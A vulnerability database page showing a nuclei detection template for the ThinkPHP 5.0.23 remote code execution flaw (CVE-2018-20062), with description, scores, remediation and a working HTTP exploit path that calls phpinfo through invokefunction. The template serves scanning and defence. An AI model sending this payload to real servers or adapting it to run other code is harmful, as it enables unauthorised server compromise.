Lucene search
K

ThinkPHP 5.0.23 - Remote Code Execution

🗓️ 16 Jun 2026 07:13:51Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 41 Views

Critical vulnerability in ThinkPHP allows remote code execution via crafted filter parameter.

Related
Refs
Code
id: CVE-2018-20062

info:
  name: ThinkPHP 5.0.23 - Remote Code Execution
  author: dr_set
  severity: critical
  description: |
    An issue was discovered in NoneCms V1.3. thinkphp/library/think/App.php allows remote attackers to execute arbitrary PHP code via crafted use of the filter parameter, as demonstrated by the s=index/\think\Request/input&filter=phpinfo&data=1 query string.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code on the server, leading to complete system compromise, data theft, and potential lateral movement within the network.
  remediation: |
    Upgrade to ThinkPHP version 5.0.24 or later, or apply vendor-provided security patches.
  reference:
    - https://github.com/yilin1203/CVE-2018-20062/blob/main/CVE-2018-20062.py
    - https://github.com/yilin1203/CVE-2018-20062
    - https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-20062
    epss-score: 0.9953
    epss-percentile: 0.9994
    cpe: cpe:2.3:a:5none:nonecms:1.3.0:*:*:*:*:*:*:*
  metadata:
    vendor: 5none
    product: nonecms
    fofa-query: app="ThinkPHP"
    verified: true
    max-request: 1
  tags: cve,cve2018,kev,thinkphp,rce,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "PHP Extension"
          - "PHP Version"
          - "ThinkPHP"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009a5bd272d0d36a4bf191e7aca66c8b419006037bfd9de515fa48757e1ed220d2022100e2b82709a4cfd67839a3f0c22e4db618bf4938807ac82c787bc611f9a00826b6:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
9.3High risk
Vulners AI Score9.3
CVSS 27.5
CVSS 3.19.8
EPSS0.9953
SSVC
41